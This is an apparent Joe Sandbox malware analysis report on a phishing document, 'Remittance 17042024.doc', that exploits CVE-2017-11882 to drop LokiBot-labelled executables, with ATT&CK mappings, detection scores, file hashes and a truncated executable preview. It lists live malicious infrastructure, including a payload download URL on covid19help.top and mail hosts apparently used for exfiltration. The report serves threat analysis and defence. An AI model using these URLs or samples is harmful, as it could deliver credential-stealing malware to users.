Source: Yara match	File source: Process Memory Space: dzoihohj75439.scr PID: 3788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: egFUHsL.exe PID: 312, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	33 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	2 Obfuscated Files or Information	11 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Install Root Certificate	1 Credentials in Registry	521 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Remittance 17042024.doc	45%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
Remittance 17042024.doc	46%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\dzoihohj75439.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\egFUHsL.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr	71%	ReversingLabs	ByteCode-MSIL.Trojan.LokiBot
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr	63%	Virustotal		Browse
C:\Users\user\AppData\Roaming\dzoihohj75439.scr	71%	ReversingLabs	ByteCode-MSIL.Trojan.LokiBot
C:\Users\user\AppData\Roaming\dzoihohj75439.scr	63%	Virustotal		Browse
C:\Users\user\AppData\Roaming\egFUHsL.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.LokiBot
C:\Users\user\AppData\Roaming\egFUHsL.exe	63%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
covid19help.top	25%	Virustotal		Browse
smtp.fshpxm.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://covid19help.top/JBNvj66BwYU3yCv.scr	23%	Virustotal		Browse
https://covid19help.top/	24%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
us2.smtp.mailhostbox.com	208.91.198.143	true	false		high
covid19help.top	104.21.83.128	true	true	25%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false		high
smtp.fshpxm.com	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://covid19help.top/JBNvj66BwYU3yCv.scr	true	23%, Virustotal, Browse	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://account.dyn.com/	dzoihohj75439.scr, 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, dzoihohj75439.scr, 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://crl.comodoca	EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://covid19help.top/tV	EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://covid19help.top/JBNvj66BwYU3yCv.scrC:	EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://covid19help.top/JBNvj66BwYU3yCv.scrj	EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	dzoihohj75439.scr, 00000005.00000002.361137396.0000000002238000.00000004.00000800.00020000.00000000.sdmp, dzoihohj75439.scr, 0000000D.00000002.718610223.0000000002591000.00000004.00000800.00020000.00000000.sdmp, egFUHsL.exe, 0000000F.00000002.372430657.0000000002351000.00000004.00000800.00020000.00000000.sdmp, egFUHsL.exe, 00000016.00000002.718596214.0000000002351000.00000004.00000800.00020000.00000000.sdmp	false		high
https://covid19help.top/	EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353617017.0000000003F2E000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr, 00000005.00000002.365439049.0000000006EFA000.00000004.00000020.00020000.00000000.sdmp, dzoihohj75439.scr.2.dr, JBNvj66BwYU3yCv[1].scr.2.dr, egFUHsL.exe.5.dr	false	URL Reputation: safe	unknown
https://covid19help.top/JBNvj66BwYU3yCv.scrttC:	EQNEDT32.EXE, 00000002.00000002.346682553.000000000064F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000002.00000002.346682553.00000000006D5000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.91.198.143	us2.smtp.mailhostbox.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
208.91.199.225	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
104.21.83.128	covid19help.top	United States	13335	CLOUDFLARENETUS	true
208.91.199.223	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
208.91.199.224	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false

Private

IP
192.168.2.255

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427896
Start date and time:	2024-04-18 10:23:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Remittance 17042024.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@26/22@241/7
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 96% Number of executed functions: 170 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer Override analysis time to 76752.174438411 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3308 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:23:58	Task Scheduler	Run new task: egFUHsL path: C:\Users\user\AppData\Roaming\egFUHsL.exe
10:23:51	API Interceptor	287x Sleep call for process: EQNEDT32.EXE modified
10:23:55	API Interceptor	1892944x Sleep call for process: dzoihohj75439.scr modified
10:23:56	API Interceptor	7x Sleep call for process: schtasks.exe modified
10:23:56	API Interceptor	78x Sleep call for process: powershell.exe modified
10:23:58	API Interceptor	416x Sleep call for process: taskeng.exe modified
10:23:59	API Interceptor	537542x Sleep call for process: egFUHsL.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.91.198.143	SecuriteInfo.com.Heur.15333.25205.exe	Get hash	malicious	AgentTesla	Browse
	Fsd5TmAZfy.exe	Get hash	malicious	AgentTesla	Browse
	April 2024 order Pdf.exe	Get hash	malicious	AgentTesla	Browse
	TT Invoice copy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	MT103.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Transmiison Remit.exe	Get hash	malicious	AgentTesla	Browse
	account details ptgd.exe	Get hash	malicious	AgentTesla	Browse
	DHL-7654544CNT Pdf.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Trojan.PackedNET.2794.21912.2151.exe	Get hash	malicious	AgentTesla	Browse
	Prices.exe	Get hash	malicious	AgentTesla	Browse
208.95.112.1	yDOZ8nTvm8.rtf	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Cintillo 2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	comprobante.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	QUOTATION-#170424.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PURCHASE ORDER LISTS GREEN VALLY CORP.bat	Get hash	malicious	GuLoader	Browse	ip-api.com/line/?fields=hosting
	dgxK76VlXC.exe	Get hash	malicious	AsyncRAT, StormKitty, SugarDump, VenomRAT, XWorm, XenoRAT	Browse	ip-api.com/line/?fields=hosting
208.91.199.225	Quote.exe	Get hash	malicious	AgentTesla	Browse
	Quotation 0048484.exe	Get hash	malicious	AgentTesla	Browse
	MV SUN OCEAN BUNKER INV.doc	Get hash	malicious	AgentTesla	Browse
	Transmiison Remit.exe	Get hash	malicious	AgentTesla	Browse
	Quotation.exe	Get hash	malicious	AgentTesla	Browse
	euFL17ioCm.exe	Get hash	malicious	AgentTesla	Browse
	Quote.exe	Get hash	malicious	AgentTesla	Browse
	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse
	Request for Quotation.exe	Get hash	malicious	AgentTesla	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
us2.smtp.mailhostbox.com	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	SecuriteInfo.com.Heur.15333.25205.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	Cleared Payment.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	Quotation 0048484.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	Fsd5TmAZfy.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	MV SUN OCEAN BUNKER INV.doc	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	ReInquiry Lenght Error.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	ES502900012.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	April 2024 order Pdf.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
ip-api.com	yDOZ8nTvm8.rtf	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Cintillo 2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	comprobante.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	208.95.112.1
	QUOTATION-#170424.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PURCHASE ORDER LISTS GREEN VALLY CORP.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1
covid19help.top	msXkgFIUyS.rtf	Get hash	malicious	AgentTesla	Browse	104.21.83.128
	BANK LETTER.doc	Get hash	malicious	AgentTesla	Browse	104.21.83.128
	You2bjAMeg.doc	Get hash	malicious	HTMLPhisher	Browse	104.21.83.128
	Arrival Notice.doc	Get hash	malicious	Unknown	Browse	172.67.175.222
	PO.doc	Get hash	malicious	Remcos	Browse	104.21.83.128
	#1337.doc	Get hash	malicious	Unknown	Browse	172.67.175.222
	r29EHJocKX.rtf	Get hash	malicious	Unknown	Browse	104.21.83.128
	aaaaaa.docx.doc	Get hash	malicious	Unknown	Browse	172.67.175.222
	aaaaaa.docx.doc	Get hash	malicious	Unknown	Browse	104.21.83.128
	APMR1GTlQS.rtf	Get hash	malicious	Unknown	Browse	104.21.83.128

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	SecuriteInfo.com.Heur.15333.25205.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	DOCUMENTS.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	Cleared Payment.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	Quotation 0048484.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	SecuriteInfo.com.Win32.PWSX-gen.28055.17747.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	Fsd5TmAZfy.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	SHIPPING ORDER.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	MV SUN OCEAN BUNKER INV.doc	Get hash	malicious	AgentTesla	Browse	208.91.199.224
TUT-ASUS	yDOZ8nTvm8.rtf	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Cintillo 2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	comprobante.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	208.95.112.1
	QUOTATION-#170424.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PURCHASE ORDER LISTS GREEN VALLY CORP.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1
PUBLIC-DOMAIN-REGISTRYUS	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	SecuriteInfo.com.Heur.15333.25205.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	DOCUMENTS.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	Cleared Payment.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	Quotation 0048484.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	SecuriteInfo.com.Win32.PWSX-gen.28055.17747.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	Fsd5TmAZfy.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	SHIPPING ORDER.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	MV SUN OCEAN BUNKER INV.doc	Get hash	malicious	AgentTesla	Browse	208.91.199.224
CLOUDFLARENETUS	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	5Dw2hTQmiB.exe	Get hash	malicious	LummaC	Browse	104.21.44.10
	Purchase Order PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	104.21.44.10
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	p silp AI240190.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://ortelia.com/Downloads/Curator/CuratorSetup.exe	Get hash	malicious	Havoc	Browse	1.1.1.1
	https://app.esign.docusign.com/e/er?utm_campaign=GBL_XX_DBU_NEW_2307_FreetoTrialUnlock_Email1AU&utm_medium=email&utm_source=Eloqua&elqCampaignId=29542&s=566810826&lid=32871&elqTrackId=1034fb987fd44c9a9a4d0833ff06a55d&elq=89d72859fe264966a0176d4309dbb1a6&elqaid=60251&elqat=1	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://ortelia.com/download-ortelia-curator/	Get hash	malicious	Havoc	Browse	1.1.1.1
	SecuriteInfo.com.Win32.PWSX-gen.1728.1300.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
PUBLIC-DOMAIN-REGISTRYUS	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	SecuriteInfo.com.Heur.15333.25205.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	DOCUMENTS.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	Cleared Payment.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Quote.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	Quotation 0048484.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	SecuriteInfo.com.Win32.PWSX-gen.28055.17747.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	Fsd5TmAZfy.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	SHIPPING ORDER.exe	Get hash	malicious	AgentTesla	Browse	162.222.226.100
	MV SUN OCEAN BUNKER INV.doc	Get hash	malicious	AgentTesla	Browse	208.91.199.224

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	yDOZ8nTvm8.rtf	Get hash	malicious	AgentTesla	Browse	104.21.83.128
	DETAILS.docx.doc	Get hash	malicious	Remcos	Browse	104.21.83.128
	R1iBOIfySQ.xlsx	Get hash	malicious	Hidden Macro 4.0	Browse	104.21.83.128
	msXkgFIUyS.rtf	Get hash	malicious	AgentTesla	Browse	104.21.83.128
	L2165c5ZiO.rtf	Get hash	malicious	Remcos	Browse	104.21.83.128
	Qzr31SUgrS.rtf	Get hash	malicious	Remcos	Browse	104.21.83.128
	mrOdyevwvZ.rtf	Get hash	malicious	Unknown	Browse	104.21.83.128
	OFFER DETAIL 75645.xls	Get hash	malicious	Remcos	Browse	104.21.83.128
	P.O.109961.xls	Get hash	malicious	Remcos	Browse	104.21.83.128
	MV SUN OCEAN BUNKER INV.doc	Get hash	malicious	AgentTesla	Browse	104.21.83.128

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	722440
Entropy (8bit):	7.916807713584016
Encrypted:	false
SSDEEP:	12288:5rOrr4PrrF4LtCVp0Vk1zlFrhHn6SvUyma5+2wqxsKoLlD5fRXj+9Y/6wuz/CkR:pDimlFrhH6IUzBqxdEtRXa9Y/huz/x
MD5:	60E4F25FA64A0EF31AC57663A26DA790
SHA1:	26126C700F70DE2E42A173214B52FE6A38C93BB8
SHA-256:	F2664BDFD035D146843F1575528EB9694A98B32F99488058A0E04885AD62E9C2
SHA-512:	31D2C6284375E7A089216FBA4EC7DC424ACE8FB5AE5D5EE620974831C73386D9F360CBC06CBE696579B27EA442A8141A1DFEC502AA7CDE1D623F74D2F5BD2BDF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 63%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t..f................................. ........@.. ....................... ............@.....................................S........................6........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......HS..P............................................................0..A....... .........%.[...(.....\... \|........%.k...(.....l...(.........&...B... ....(..........0..............,.".".#..(....+.....0...............".".#. ....(....+......0...............".".#...(....+.....0...................... ....(....+.....0..+.....................(P...+....s....}......j}......0............{......*...0..Q..........E........ ... .......+.............{.....(h.......,...+..+...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3CFC4CBC-CC73-4F84-AD38-3C803376DE7D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CD72746F-B24F-4EC2-824D-173D2D672EC5}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	259584
Entropy (8bit):	3.441136173450056
Encrypted:	false
SSDEEP:	6144:UdecyemMdecyemMdecyemMdecyemMdecyemMdecyemyf0:Kf0
MD5:	661DAB0C451EF472716F19530EC7387E
SHA1:	9099C7CF37700F61A382FA21DC321F72EB7184C0
SHA-256:	EA133F214698D5B7CE584EA6515D7C474F98720880CF87E960B43BF32D516951
SHA-512:	78F0F404A79289CDD5734B3D3AF974E06FFA3E4204B815290F347CC8DCAF4E51DABB82505AAB293AB6935A7BCBC42AA210C6CE9216A0A381D489965BA10AA4EE
Malicious:	false
